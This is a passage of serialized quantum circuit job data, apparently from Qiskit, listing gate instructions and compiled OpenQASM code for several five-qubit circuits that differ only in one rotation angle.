\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1225', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1227', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1229', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1231', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.3000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 